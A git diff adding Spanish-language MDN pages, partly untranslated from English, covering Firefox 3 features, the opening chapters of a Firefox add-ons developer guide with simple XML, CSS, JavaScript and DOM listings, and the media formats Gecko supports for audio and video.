+ <li><strong>Administración de plugins.</strong> El usuario puede deshabilitar el o los plugins que desea en el administrador de complementos.</li>
+ <li><strong>Integración con Windows Vista.</strong> Los menús de Firefox se muestran utilizando el tema nativo de Vista.</li>
+ <li><strong>Integración con Mac OS X.</strong> Firefox 3 utiliza el corrector ortográfico de Mac OS X y permite usar <a class="external" href="http://growl.info/">Growl</a> para la notificación de descargas completadas y actualizaciones disponibles.</li>
+ <li><strong>Botón estrella.</strong> El nuevo botón con forma de estrella en la barra de direcciones añade un marcador nuevo con un solo clic, un segundo clic permite ordenar y etiquetarlo.</li>
+ <li><strong>Etiquetas.</strong> Permiten clasificar los marcadores por temas asignándoles palabras clave.</li>
+ <li><strong>Barra de búsqueda local y autocompletado.</strong> Sirve para buscar una página en el historial y los marcadores. Lo iconos, marcadores y etiquetas permiten ver la ubicación de los resultados mostrados.</li>
+ <li><strong>Carpeta de marcadores inteligentes.</strong> La carpeta de marcadores inteligentes de Firefox permite acceder rápidamente a los últimos sitios etiquetados o añadidos a marcadores, así como las páginas visitadas con frecuencia.</li>
+ <li><strong>Administrador de marcadores e historial.</strong> La creación de un único administrador para los marcadores y el historial permite buscar en ambos con múltiples vistas y carpetas inteligentes para almacenar búsquedas frecuentes.</li>
+ <li><strong>Administradores de protocolos Web.</strong> Las aplicaciones web, como los proveedores de correo electrónico, se pueden utilizar en vez de aplicaciones de escritorio para administrar los enlaces <code>mailto:</code> de otras webs. También se prestan gestiones similares para otros protocolos. (Aviso: las aplicaciones Web deben estar registradas en Firefox para que funcione).</li>
+ <li><strong>Acciones de descarga fáciles de usar.</strong> El nuevo panel de preferencias de aplicaciones proporciona una interfaz de usuario mejorada para configurar los administradores de varios tipos de archivos y esquemas de protocolo.</li>
+ <li><strong>Apariencia y entorno mejorados.</strong> La gestión gráfica y de las fuentes ha sido mejorada para que las páginas web se vean con más calidad, incluidas la nitidez del texto y la mayor compatibilidad con fuentes complejas. Además, gracias a este nuevo aspecto de Firefox, los usuarios de Mac y Linux (Gnome) lo encontrarán más parecido a una aplicación nativa de su propio sistema.</li>
+ <li><strong>Gestión del color.</strong> Al establecer la preferencia <code>gfx.color_management.enabled</code> en <code>about:config</code>, haremos que Firefox utilice los perfiles de color integrados en las imágenes para que se adapten a la configuración de nuestra pantalla.</li>
+ <li><strong>Funcionamiento en modo desconectado.</strong> Las aplicaciones Web pueden beneficiarse de nuevas características que permiten utilizarlas sin estar conectado a Internet.</li>
+</ul>
+
+<h4 id="Seguridad_y_privacidad" name="Seguridad_y_privacidad">Seguridad y privacidad</h4>
+
+<ul>
+ <li><strong>Información con un clic.</strong> ¿Quiere tener más información sobre el sitio Web que estás visitando? Haciendo clic en el icono del sitio en la barra de direcciones veremos a quién pertenece. La información de identificación se muestra de forma clara y es más fácil de entender que nunca.</li>
+ <li><strong>Protección contra malware.</strong> Firefox 3 avisa cuando se entra en una Web que instala virus, spyware, troyanos, u otro software peligroso (conocido como malware). Puede ver un ejemplo <a class="link-https" href="https://www.mozilla.com/firefox/its-an-attack.html">aquí</a>.</li>
+ <li><strong>Protección mejorada contra páginas Web que intentan suplantar tu identidad.</strong> Cuando visite una página sospechosa de suplantación se mostrará en su lugar una página especial con una advertencia. Puede ver un ejemplo <a class="link-https" href="https://www.mozilla.com/firefox/its-a-trap.html">aquí</a>.</li>
+ <li><strong>Mensajes de error SSL fáciles de entender.</strong> Ahora cuando aparezca un mensaje de error por certificado SSL incorrecto comprenderá más fácil en qué consiste el problema.</li>
+ <li><strong>Protección contra complementos desactualizados.</strong> Firefox 3 comprueba automáticamente los plugins y complementos, deshabilitando las versiones más antiguas y peligrosas.</li>
+ <li><strong>Actualizaciones seguras de complementos.</strong> Se ha mejorado la seguridad en la actualización de complementos al obligarlos a proporcionar un mecanismo seguro de actualización.</li>
+ <li><strong>Integración con antivirus.</strong> Firefox 3 envía un informe al antivirus cuando se descargan archivos ejecutables.</li>
+ <li><strong>Compatible con el control paterno de Windows Vista.</strong> Firefox 3 es compatible con la función para deshabilitar la descarga de archivos del control paterno de Vista.</li>
+</ul>
+
+<h4 id="Rendimiento" name="Rendimiento">Rendimiento</h4>
+
+<ul>
+ <li><strong>Fiabilidad.</strong> Firefox 3 almacena marcadores, historial, cookies, y preferencias usando un formato transaccional de base de datos seguro. Es decir, tus datos no se perderán aunque tengas una caída del sistema.</li>
+ <li><strong>Velocidad.</strong> Se ha mejorado el rendimiento de Firefox 3 al sustituir totalmente la parte del software que controla el aspecto gráfico, así como el modo de gestionar los formatos de página.</li>
+ <li><strong>Reducción de consumo de memoria.</strong> Firefox 3 es más eficaz que nunca gracias a la corrección de unos 300 fallos de fuga de memoria y nuevas características que ayudan a localizar y eliminar automáticamente los bloques con fuga de memoria.</li>
+</ul>
+
+<h3 id="Lecturas_relacionadas" name="Lecturas_relacionadas">Lecturas relacionadas</h3>
+
+<ul>
+ <li><a href="/es/Actualizar_extensiones_para_Firefox_3" title="es/Actualizar_extensiones_para_Firefox_3">Actualizar extensiones para Firefox 3</a></li>
+ <li><a href="/es/Actualizar_aplicaciones_web_para_Firefox_3" title="es/Actualizar_aplicaciones_web_para_Firefox_3">Actualizar aplicaciones web para Firefox 3</a></li>
+ <li><a href="/es/Firefox_2_para_desarrolladores" title="es/Firefox_2_para_desarrolladores">Firefox 2 para desarrolladores</a></li>
+ <li><a href="/es/Firefox_1.5_para_Desarrolladores" title="es/Firefox_1.5_para_Desarrolladores">Firefox 1.5 para Desarrolladores</a></li>
+</ul>
+
+<p> </p>
+
+<p>{{ languages( { "en": "en/Firefox_3_for_developers", "fr": "fr/Firefox_3_pour_les_d\u00e9veloppeurs", "ja": "ja/Firefox_3_for_developers", "ko": "ko/Firefox_3_for_developers", "pl": "pl/Firefox_3_dla_programist\u00f3w", "pt": "pt/Firefox_3_para_desenvolvedores", "zh-tw": "zh_tw/Firefox_3_for_developers" } ) }}</p>
diff --git a/files/es/firefox_addons_developer_guide/introduction_to_extensions/index.html b/files/es/firefox_addons_developer_guide/introduction_to_extensions/index.html
new file mode 100644
index 0000000000..1261f4d562
--- /dev/null
+++ b/files/es/firefox_addons_developer_guide/introduction_to_extensions/index.html
@@ -0,0 +1,159 @@
+---
+title: 'Capítulo 1: Introducción a las extensiones.'
+slug: Firefox_addons_developer_guide/Introduction_to_Extensions
+---
+<div>
+ {{ Draft() }}</div>
+<p>{{ PreviousNext("Firefox_addons_developer_guide", "Firefox_addons_developer_guide/Technologies_used_in_developing_extensions") }}</p>
+<div class="note">
+ <strong>Note: </strong>If you want contribute to this document please following guidelines from the <a class="internal" href="/en-US/docs/Firefox_addons_developer_guide/Contribute" title="En/Firefox_addons_developer_guide/Contribute">Contribute</a> page.</div>
+<p><em>Este documento fue escrito por </em><a class="external" href="http://level.s69.xrea.com/mozilla/" title="http://level.s69.xrea.com/mozilla/"><em>Hideyuki Emura</em></a><em> y publicado originalmente en japonés para el </em><a class="link-https" href="https://wiki.mozilla.org/Japan/FxDevCon/Summer2007/English" title="https://wiki.mozilla.org/Japan/FxDevCon/Summer2007/English"><em>Firefox Developers Conference Summer 2007</em></a><em>. Emura-san es un coautor de <a class="external" href="http://www.oreilly.co.jp/books/9784873113753/index.html" title="http://www.oreilly.co.jp/books/9784873113753/index.html">Firefox 3 Hacks</a> (O'Reilly Japan, 2008.)</em></p>
+<h2 id="Introducción">Introducción</h2>
+<p>Si estás leyendo esta guía, probablemente has utilizado firefox antes. Tal vez la primera vez que viste firefox, es posible que te hayas sorprendido al ver que tiene una estructurara mucho más simple que otros navegadores con muchas funciones, como Opera o Safari.</p>
+<p>¿Qué características son consideradas estándar para los navegadores en estos días? Tal vez cosas como controles de pestañas, movimientos del ratón, barras de herramientas y botones, un lector de feed, integración con una variedad de aplicaciones web, o herramientas sofisticadas para ayudar al diseño web. Pero nosotros no teníamos la intención de crear un navegador todo-en uno que pueda satisfacer a todos</p>
+<p>En cambio, Firefox puede soportar estas características a través de las extensiones. El núcleo del navegador se limita a las funciones básicas, algo que puede hacer sentirse cómodo a un principiante, pero los usuarios que quieren algo más pueden instalar las extensiones.</p>
+<h2 id="Acerca_de_las_extensiones">Acerca de las extensiones</h2>
+<h3 id="Administrador_de_complementos">Administrador de complementos</h3>
+<p>El administrador de complementos de firefox es una excelente manera para manejar las extensiones y es muy fácil de usar.</p>
+<p><img alt="" class="internal" src="/@api/deki/files/3818/=addons-manager.png" style="width: 563px; height: 462px;"></p>
+<p>El Administrador de complementos se encarga de las siguientes tareas:</p>
+<ul>
+ <li>Instalaciones y desintalaciones seguras de complementos.</li>
+ <li>Verifica que el complemento sea compatible con la versión de firefox que estás usando.</li>
+ <li>Maneja listas blancas de sitios de confianza para la instalación de complementos.</li>
+ <li>Ayuda a solucionar problemas de complementos inhabilitándolos y faciliar un modo seguro.</li>
+ <li>Confirma y ejecuta actualizaciones.</li>
+ <li>Provee acceso a los diálogos de configuración del complemento.</li>
+ <li>Provee acceso a las páginas web de asistencia de los complementos.</li>
+</ul>
+<h3 id="Características_del_entorno_de_desarrollo">Características del entorno de desarrollo</h3>
+<p>Inicialmente, no había suficiente documentación disponible, y los desarrolladores de extensiones quedaron en gran medida a su suerte; sin embargo, ahora hay un cuantioso depósito de conocimiento.</p>
+<p>Debido a que Firefox y sus extensiones están diseñadas para soportar multiples idiomas, excelentes extensiones vienen de todo el mundo, y pueden ser localizadas rápidamente por cualquier persona que esté interesada.</p>
+<p>Ésto facilita el uso y el desarrollo de extensiones; este hecho, combinado con la popularidad creciente de firefox, ha creado un búcle de realimentación positiva, y un crecimiento explosivo del número de usuarios  y desarrolladores de las extensiones. Hay ahora más de 7000 extensiones y temas publicados en la página web de complementos de firefox. (<a class="link-https" href="https://addons.mozilla.org" rel="freelink">https://addons.mozilla.org</a>).</p>
+<h2 id="¿Qué_podemos_hacer_con_las_extensiones">¿Qué podemos hacer con las extensiones?</h2>
+<p>Echemos un vistazo a que características pueden añadir las extensiones y algunos ejemplos reales de ellas.</p>
+<h3 id="Extensiones_solo_con_una_función.">Extensiones solo con una función.</h3>
+<p>{{ TODO("Update this") }}.</p>
+<p>Éstas son extensiones relativamente simples que añaden solo una función.</p>
+<dl>
+ <dt>
+  <a class="link-https" href="https://addons.mozilla.org/firefox/1939/" title="https://addons.mozilla.org/firefox/1939/">Enlace de texto</a></dt>
+ <dd>
+  Makes it so that double-clicking on an unlinked URL follows that URL.</dd>
+ <dt>
+  <a class="link-https" href="https://addons.mozilla.org/firefox/3082/" title="https://addons.mozilla.org/firefox/3082/">Botón para abrir pestañas cerradas</a></dt>
+ <dd>
+  <span id="Dst[0][0:3:0:4]">Añade</span><span> </span><span id="Dst[0][5:5:6:7]">un</span><span> </span><span id="Dst[0][15:20:9:13]">botón</span><span> en la </span><span id="Dst[0][7:13:18:38]">barra de herramientas</span><span> </span><span id="Dst[0][22:23:40:43]">para</span><span> </span><span id="Dst[0][25:31:45:58]">volver a abrir</span><span> </span><span id="Dst[0][33:35:60:62]">las</span><span> </span><span id="Dst[0][58:61:64:71]">pestañas</span><span> </span><span id="Dst[0][51:56:73:80]">cerradas</span><span> </span><span id="Dst[0][42:49:86:98]">más recientemente</span><span> </span><span id="Dst[0][63:64:100:101]">en</span><span> </span><span id="Dst[0][66:68:103:104]">el</span><span> </span><span id="Dst[0][78:81:106:109]">menú del</span><span> </span><span id="Dst[0][70:76:111:119]">historial.</span></dd>
+</dl>
+<dl>
+ <dd>
+  <img alt="1211576231.png" class="internal default" src="/@api/deki/files/3316/=1211576231.png" style="width: 340px; height: 317px;"></dd>
+</dl>
+<dl>
+ <dt>
+  <a class="link-https" href="https://addons.mozilla.org/firefox/4014/" title="https://addons.mozilla.org/firefox/4014/">Barra de la dirección</a></dt>
+ <dd>
+  <div>
+   <span id="Dst[0][0:8:0:5]">Separa</span><span> </span><span id="Dst[0][18:23:18:24]">el dominio</span><span> </span><span id="Dst[0][25:27:26:26]">y</span><span> la ruta de </span><span id="Dst[0][29:32:36:41]">acceso</span><span> de una URL para facilitar su lectura </span><span id="Dst[0][34:35:43:44]">en</span><span> </span><span id="Dst[0][37:39:46:47]">la</span><span> </span><span id="Dst[0][50:52:49:53]">barra</span><span> de </span><span id="Dst[0][41:48:58:68]">direcciones</span><span>.</span></div>
+ </dd>
+ <dd>
+  <img alt="locationbar.png" class="internal default" src="/@api/deki/files/3317/=locationbar.png" style="width: 200px; height: 150px;"></dd>
+</dl>
+<h3 id="Feature_enhancing_extensions">Feature enhancing extensions</h3>
+<p>{{ TODO("Update this") }}.</p>
+<p>These extensions enhance features that already exist in Firefox.</p>
+<dl>
+ <dt>
+  <a class="link-https" href="https://addons.mozilla.org/firefox/1122/" title="https://addons.mozilla.org/firefox/1122/">Tab Mix Plus</a></dt>
+ <dd>
+  Offers detailed tab-related settings.</dd>
+ <dt>
+  <a class="external" href="http://prefbar.mozdev.org/" title="http://prefbar.mozdev.org/">PrefBar</a></dt>
+ <dd>
+  Gives access to numerous preferences from the toolbar.<img alt="PrefBar.png" class="internal default" src="/@api/deki/files/3371/=PrefBar.png" style="width: 843px; height: 113px;"></dd>
+ <dt>
+  <a class="link-https" href="https://addons.mozilla.org/firefox/722/" title="https://addons.mozilla.org/firefox/722/">NoScript</a></dt>
+ <dd>
+  Enables and disables JavaScript execution on a site-by-site basis.</dd>
+</dl>
+<h3 id="Web_application_integration_extensions">Web application integration extensions</h3>
+<p>{{ TODO("Update this") }}.</p>
+<p>The use the APIs of certain web applications to provide certain pieces of information.</p>
+<p><img alt="Forecastfox.png" class="internal default" src="/@api/deki/files/3372/=Forecastfox.png" style="width: 359px; height: 94px;"></p>
+<h3 id="New_feature_extensions">New feature extensions</h3>
+<p>{{ TODO("Update this") }}.</p>
+<p>Extensions can add completely new features to Firefox. This class of extension requires a greater level of knowledge and programming ability.</p>
+<dl>
+ <dt>
+  <a class="link-https" href="https://addons.mozilla.org/firefox/748/" title="https://addons.mozilla.org/firefox/748/">GreaseMonkey</a></dt>
+ <dt>
+  <a class="external" href="http://forums.mozillazine.org/viewtopic.php?t=397735" title="http://forums.mozillazine.org/viewtopic.php?t=397735">UserChrome.js</a></dt>
+ <dd>
+  Both of these provide an environment for running user scripts (JavaScript) in Firefox itself, where the scripts can target specific websites.</dd>
+</dl>
+<dl>
+ <dt>
+  <a class="link-https" href="https://addons.mozilla.org/firefox/1865/" title="https://addons.mozilla.org/firefox/1865/">Adblock Plus</a></dt>
+ <dd>
+  Blocks the display of unwanted advertisements on web pages.</dd>
+ <dt>
+  <a class="link-https" href="https://addons.mozilla.org/firefox/12/" title="https://addons.mozilla.org/firefox/12/">All-in-One Gestures</a></dt>
+ <dd>
+  Adds mouse-gesture functionality.</dd>
+</dl>
+<h3 id="Application_level_extensions">Application level extensions</h3>
+<p>{{ TODO("Update this") }}.</p>
+<p>These are sophisticated extensions that can be considered full-scale applications in their own right, essentially using Firefox as the development platform.</p>
+<p><img alt="Firebug.gif" class="internal default" src="/@api/deki/files/3373/=Firebug.gif" style="width: 712px; height: 336px;"></p>
+<h3 id="One-trick_gag_extensions">One-trick gag extensions</h3>
+<p>{{ TODO("Update this") }}.</p>
+<p>There are a number of one-trick gag extensions that aren’t very useful.</p>
+<p><img alt="Shiitake Mushroom (1).png" class="internal default" src="/@api/deki/files/3375/=Shiitake%20Mushroom%20(1).png" style="width: 200px; height: 150px;"></p>
+<p>This is a very brief survey of a few extensions, but there are many other unique extensions available.</p>
+<p><strong>Table 1: Advanced customization methods for Firefox</strong></p>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Customization Method</td>
+   <td class="header">Does it work for web sites?</td>
+   <td class="header">Does it work for Firefox?</td>
+  </tr>
+  <tr>
+   <td>User style sheets (change appearance through CSS)</td>
+   <td>
+    <p>Yes; you can change the <code>userContent.css</code> file, or use the Stylish extension.</p>
+   </td>
+   <td>
+    <p>Yes; you can change the <code>userChrome.css</code> file, or use the Stylish extension.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>User scripts (change appearance and functionality through JavaScript)</td>
+   <td>
+    <p>Yes; you can use the GreaseMonkey extension or "bookmarklets."</p>
+   </td>
+   <td>
+    <p>Yes; you can change <code>userChrome.js</code> to add functionality through JavaScript.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>Extensions (these can do anything)</td>
+   <td>Yes</td>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <td>Theming (this changes the look of the browser)</td>
+   <td>No</td>
+   <td>Yes</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Vamos_a_construir_una_extensión">Vamos a construir una extensión</h2>
+<p>La tabla 1 muestra varias opciones de personalización disponibles para un usuario en firefox. Los usuarios tienen opciones de personalicación Flexibles, usando CSS en las hojas de estilo del usuario y javaScript/DOM en los script del usuario.</p>
+<p>En adición a CSS y Javascript, las extensiones pueden tomar ventajas de las tecnologías XUL y XPCOM para características más sofisticadas. Temas, los cuales pueden alterar la apariencia de firefox, son un tipo de complemento.</p>
+<p>Para crear una extension, necesitas una idea y sólo un poco de abilidad programando. Los siguientes capítulos explicaremos con detalles las tecnicas para escribir extensiones.</p>
+<div class="footnotes">
+ <div class="note" id="footnote1">
+  <a href="#from_footnote1">1</a> One of the authors of this special edition, Piro, is world-famous as one of the original developers.</div>
+</div>
+<p>{{ PreviousNext("Firefox_addons_developer_guide", "Firefox_addons_developer_guide/Technologies_used_in_developing_extensions") }}</p>
diff --git a/files/es/firefox_addons_developer_guide/technologies_used_in_developing_extensions/index.html b/files/es/firefox_addons_developer_guide/technologies_used_in_developing_extensions/index.html
new file mode 100644
index 0000000000..92188c9df8
--- /dev/null
+++ b/files/es/firefox_addons_developer_guide/technologies_used_in_developing_extensions/index.html
@@ -0,0 +1,78 @@
+---
+title: 'Chapter 2: Technologies used in developing extensions'
+slug: Firefox_addons_developer_guide/Technologies_used_in_developing_extensions
+---
+<p>{{ Draft() }} {{ PreviousNext("Firefox addons developer guide/Introduction to Extensions", "Firefox addons developer guide/Introduction_to_XUL—How_to_build_a_more_intuitive_UI") }}</p>
+<p><em>This document was authored by <a class="external" href="http://piro.sakura.ne.jp/" title="http://piro.sakura.ne.jp/">Hiroshi Shimoda</a> of </em><a class="external" href="http://www.clear-code.com/" title="http://www.clear-code.com/"><em>Clear Code Inc.</em></a><em> and was originally published in Japanese for the </em><a class="link-https" href="https://wiki.mozilla.org/Japan/FxDevCon/Summer2007/English" title="https://wiki.mozilla.org/Japan/FxDevCon/Summer2007/English"><em>Firefox Developers Conference Summer 2007</em></a><em>. Shimoda-san </em><em>is a co-author of <a class="external" href="http://www.oreilly.co.jp/books/9784873113753/index.html" title="http://www.oreilly.co.jp/books/9784873113753/index.html">Firefox 3 Hacks</a> (O'Reilly Japan, 2008).</em></p>
+<p>Antes de sumergirse en una explicación, rápidamente nos introduciremos en las tecnologías utilizadas para desarrollar extensiones en firefox. Nosotros también conoceremos los conocimientos míminos que se necesitan para desarrollar una extensión para firefox.</p>
+<h2 id="Tecnologías_utilizadas_para_desarrollar_extensiones_para_Firefox">Tecnologías utilizadas para desarrollar extensiones para Firefox</h2>
+<p>Firefox y sus extensiones están ambos basados en el desarrollo con tecnologías ampliamente usadas en la web. Su estructura es similar a la de HTML dynamico usado en algunas páginas webs, or el HTML de aplicaciones usado en Windows. Si tienes experiencia desarrollando HTML dinamico, Tú probablemente lo encontrarás relativamente fácil desarrollar una extensión para Firefox.</p>
+<h2 id="El_rol_de_cada_tecnología">El rol de cada tecnología</h2>
+<p>Firefox está construido en gran parte con cuatro tecnologías: XUL, CSS, Javascript y XPCOM. Las extensiones también están construidas usando esas cuatros tecnologías.</p>
+<p><strong>Figure 1: rol de cada tecnología en firefox.</strong></p>
+<p><img alt="" class="internal" src="/@api/deki/files/3762/=chap2_fig1.png" style="width: 740px; height: 350px;"></p>
+<p>En addition a esas tecnologías, el desarrollo de una extensión requerira que aprendas sobre como otorgar priviligos para vence priviligios de restricciones de seguridad en el código que escribistes, y como insertar tu codigo dentro de Firefox UI. Estos errores son discutidos en el <a class="internal" href="/En/Firefox_addons_developer_guide/Let's_build_a_Firefox_extension" title="En/Firefox addons developer guide/Let's build a Firefox extension">Capítulo 5</a>.</p>
+<h2 id="Conocimientos_básicos_requeridos">Conocimientos básicos requeridos</h2>
+<p>En el interest de brevedad, Vamos a omitir explicaciones de tecnologías, y nos enfocaremos en la introducción de nuevas tecnologías que necesitarás entender para desarrollar para Firefox. Asumimos que tu tienes esperiencia desarrollando con HTML dinamico, así como de los temas a continuación.<br>
+  Para más información sobre estas tecnologías, por favor consulte otras fuentes.</p>
+<ul>
+  <li><a class="internal" href="/en/XML" title="En/XML">XML codificación</a></li>
+  <li><a class="internal" href="/en/CSS" title="En/CSS">CSS coding</a></li>
+  <li><a class="internal" href="/en/JavaScript" title="En/JavaScript">Basic JavaScript syntax</a></li>
+</ul>
+<h3 id="XML_A_text-based_structural_language">XML: A text-based structural language</h3>
+<p> XML, siglas en inglés de <a class="external" href="http://www.w3.org/TR/REC-xml/" title="http://www.w3.org/TR/REC-xml/">eXtensible Markup Language</a> ('lenguaje de marcas extensible'), es un lenguaje de marcas desarrollado por el World Wide Web Consortium (W3C). Deriva del lenguaje SGML y permite definir la gramática de lenguajes específicos (de la misma manera que HTML es a su vez un lenguaje definido por SGML) para estructurar documentos grandes. A diferencia de otros lenguajes XML da soporte a bases de datos, siendo útil cuando varias aplicaciones se deben comunicar entre sí o integrar información. (Bases de datos Silberschatz).</p>
+<p><strong>Listing 1: XML syntax</strong></p>
+<pre class="brush: xml">&lt;elementname someattribute="somevalue"&gt;
+  content
+&lt;/elementname&gt;</pre>
+<p>As shown in Listing 1, XML uses elements, which consist of an opening tag, a closing tag, and content.</p>
+<div class="note" id="footnote2">
+  <strong>Note: </strong>Elements that take no content can be expressed in compact form as <code>&lt;elementname/&gt;.</code></div>
+<p>An element can include other elements as well as text in its content, and all information is structured as a tree. As in all trees, elements can have children (elements contained within them) and parents (elements that contain them). Attributes can also be added to opening tags, each with a value.</p>
+<p>As the "extensible" part of XML implies, elements from various XML-based languages such as XHTML and SVG can be interspersed in one another as a means to extend the language. All elements can carry a "namespace URI" identifier, which is unique for each language. For example, even though XHTML and SVG have elements with the same name, these can be distinguished. The namespace URI for XHTML is <code>"<a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a>"</code> ; for SVG is it "<code><a class="external" href="http://www.w3.org/2000/svg" rel="freelink">http://www.w3.org/2000/svg</a></code>".</p>
+<h3 id="CSS_A_style_language_to_alter_the_display_of_XML_documents">CSS: A style language to alter the display of XML documents</h3>
+<p>Like XML, Cascading Style Sheets (CSS) is a <a class="external" href="http://www.w3.org/Style/CSS/" title="http://www.w3.org/Style/CSS/">technical specification</a> established by the W3C; it is a style-description language defining the display of data marked up in XML and HTML. As shown in Listing 1, it has an extremely simple syntax. By separating the structure of the data, expressed through HTML or XML, and the display style, indicated by CSS, data can be reused better than it is when structural and stylistic markup are both embedded in HTML.</p>
+<p>There are three CSS specifications (Level 1 through Level 3), with progressively powerful features. The Gecko rendering engine handles nearly all of CSS Level 2 and some of CSS Level 3.</p>
+<p><strong>Listing 2: CSS code sample</strong></p>
+<pre class="brush: css">body {
+  color: black;
+  background-color: white;
+}
+p {
+  margin-bottom: 1em;
+  text-indent: 1em;
+}
+</pre>
+<h3 id="JavaScript_The_world's_most_misunderstood_language">JavaScript: The world's most misunderstood language</h3>
+<p>JavaScript is a scripting language first developed in the 1990s, at which time it was created as a way to add dynamic features to web pages. Because it was often used at first to display pop-up windows, marching text in status bars, or in other ways that made web pages less useful to users, the language acquired a reputation as having little practical use and lacking in functionality.</p>
+<p>Also, because a series of security holes were discovered in JavaScript and the compatible technology JScript, there was an initial reluctance to use JavaScript at all.</p>
+<p>Nevertheless, the rise of web services like Google Maps, which used JavaScript and asynchronous communications, created an awareness of a set of technologies nicknamed <a class="internal" href="/en/AJAX" title="En/AJAX">AJAX</a> (Asynchronous JavaScript and XML); that plus the advent of a number of libraries that paper over implementation differences between different web browsers has more recently led to a re-evaluation of JavaScript as a programming language.</p>
+<p>JavaScript is a prototype-based object-oriented language, and as shown in Listing 3, also permits independent class definitions. It does not have strict typing like Java, making it extremely flexible and giving it qualities that in some senses could be considered similar to Lisp.</p>
+<p>Firefox 3.5 includes a number of extensions to the specification standardized in ECMAScript 3rd Edition, and can use <a class="internal" href="/en/New_in_JavaScript_1.7" title="En/New in JavaScript 1.7">JavaScript 1.7</a> and <a class="internal" href="/en/New_in_JavaScript_1.8" title="En/New in JavaScript 1.8">JavaScript 1.8</a>.</p>
+<p><strong>Listing 3: An example of a class definition in JavaScript</strong></p>
+<pre class="brush: js">function MyClass() {
+}
+MyClass.prototype = {
+  property1 : true,
+  property2 : 'string',
+  method : function() {
+    alert('Hello, world!');
+  }
+};
+var obj = new MyClass();
+obj.method();
+</pre>
+<h3 id="DOM_An_API_for_manipulating_XML_documents">DOM: An API for manipulating XML documents</h3>
+<p>The <a class="internal" href="/en/DOM" title="En/DOM">Document Object Model</a> (DOM) is a <a class="external" href="http://www.w3.org/DOM/" title="http://www.w3.org/DOM/">technical standard</a> promulgated by the W3C, and is an API for manipulating the contents of XML documents as objects. In earlier dynamic HTML approaches, the typical method was to use the <code>innerHTML</code> property of the HTML element node to dynamically change the contents of the HTML document by manipulating strings, but using the DOM makes it possible to manipulate XML documents in a way that better matches JavaScript's object-oriented nature.</p>
+<p>In addition, XUL lacks any equivalent for the <code>innerHTML</code> property, so if it weren’t for the DOM, dynamic processing would be impossible.</p>
+<p>There are a number of levels to the DOM with different levels of functionality. Gecko supports nearly all of DOM Level 2 and some of DOM Level 3.</p>
+<p>With the DOM, the contents of an XML document are handled as a "DOM tree," a collection of element nodes and other nodes. Listing 4 shows an example that deletes the second child element of the element with the "toolbar" id, adds a new button element as a substitute, and sets a label attribute.</p>
+<p>We do not go into the details of the various APIs in the DOM. To learn more about the DOM, please take a look at the <a class="internal" href="/en/XUL_Tutorial/Document_Object_Model" title="En/XUL Tutorial/Document Object Model">MDC documentation</a>.</p>
+<p><strong>Listing 4: An example manipulation using the DOM</strong></p>
+<pre class="brush: js">var bar = document.getElementById('toolbar');
+bar.removeChild(bar.childNodes[1]);
+bar.appendChild(document.createElement('button'));
+bar.lastChild.setAttribute('label', 'Hello!');
+</pre>
+<p>{{ PreviousNext("Firefox addons developer guide/Introduction to Extensions", "Firefox addons developer guide/Introduction_to_XUL—How_to_build_a_more_intuitive_UI") }}</p>
diff --git a/files/es/formatos_multimedia_admitidos_por_los_elementos_de_video_y_audio/index.html b/files/es/formatos_multimedia_admitidos_por_los_elementos_de_video_y_audio/index.html
new file mode 100644
index 0000000000..478990b1a1
--- /dev/null
+++ b/files/es/formatos_multimedia_admitidos_por_los_elementos_de_video_y_audio/index.html
@@ -0,0 +1,43 @@
+---
+title: Formatos multimedia admitidos por los elementos de audio y video
+slug: Formatos_multimedia_admitidos_por_los_elementos_de_video_y_audio
+tags:
+  - Firefox
+  - HTML5
+  - Multimedia
+  - formatos de audio
+  - formatos multimedia
+  - para_revisar
+---
+<p>{{ gecko_minversion_header("1.9.1") }}</p>
+<p>Gecko 1.9.1 admite los elementos <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/" title="http://www.whatwg.org/specs/web-apps/current-work/">HTML 5</a> <a class="internal" href="/En/HTML/Element/Audio" title="En/HTML/Element/Audio"><code>audio</code></a> y <a class="internal" href="/En/HTML/Element/Video" title="En/HTML/Element/Video"><code>video</code></a>, los cuales proporcionan una compatibilidad integrada para la reproducción de medios de audio y video sin necesidad de instalar plug-ins. Este artículo aborda los formatos que son compatibles al implementar Gecko estos elementos .</p>
+<h2 id="Formatos_multimedia_compatibles">Formatos multimedia compatibles</h2>
+<p>Actualmente Gecko admite audio en formato WAVE así como contenedores Ogg con audio codificado en Vorbis y/o video Theora.</p>
+<div class="geckoVersionNote">
+<p>{{ gecko_callout_heading("2.0") }}</p>
+<p>A partir de Gecko 2.0 se admite también el formato de medios WebM. <a class=" external" href="http://www.webmproject.org/" title="http://www.webmproject.org/">WebM</a> usa el códec V8 para video y Vorbis para audio.</p>
+</div>
+<h3 id="Contenedores_WAVE">Contenedores WAVE</h3>
+<p>Gecko admite audio en contenedores WAVE; los archivos de este tipo suelen terminar en la extensión ".wav". Actualmente sólo se admite el códec "1" (PCM) .</p>
+<div class="note"><strong>Nota: </strong>Consulta <a class="external" href="http://www.rfc-editor.org/rfc/rfc2361.txt" title="http://www.rfc-editor.org/rfc/rfc2361.txt">RFC 2361</a> para el registro de códecs WAVE.</div>
+<h4 id="Tipos_MIME_reconocidos_para_audio_WAVE">Tipos MIME reconocidos para audio WAVE</h4>
+<p>Gecko reconoce que los siguientes tipos MIME representan archivos de audio WAVE.</p>
+<ul> <li><code>audio/wave</code> (preferido)</li> <li><code>audio/wav</code></li> <li><code>audio/x-wav</code></li> <li><code>audio/x-pn-wav</code></li>
+</ul>
+<p>{{ h2_gecko_minversion("WebM", 2) }}</p>
+<p><a class=" external" href="http://www.webmproject.org/" title="http://www.webmproject.org/">WebM</a> es un formato nuevo, basado en estándares abiertos, para la presentación de video en la web. Usa VP8 para video y Vorbis para audio, en un contenedor basado en <a class=" external" href="http://corecodec.com/products/matroska" title="http://corecodec.com/products/matroska">Matroska</a>.</p>
+<h4 id="Tipos_MIME_reconocidos_para_medios_WebM">Tipos MIME reconocidos para medios WebM</h4>
+<p>Gecko reconoce que los siguientes tipos MIME representan archivos de medios WebM.</p>
+<dl> <dt><code>video/webm</code></dt> <dd>Un archivo de medios WebM que contiene video (y posiblemente audio también).</dd> <dt><code>audio/webm</code></dt> <dd>Un archivo de medios WebM que contiene solamente audio.</dd>
+</dl>
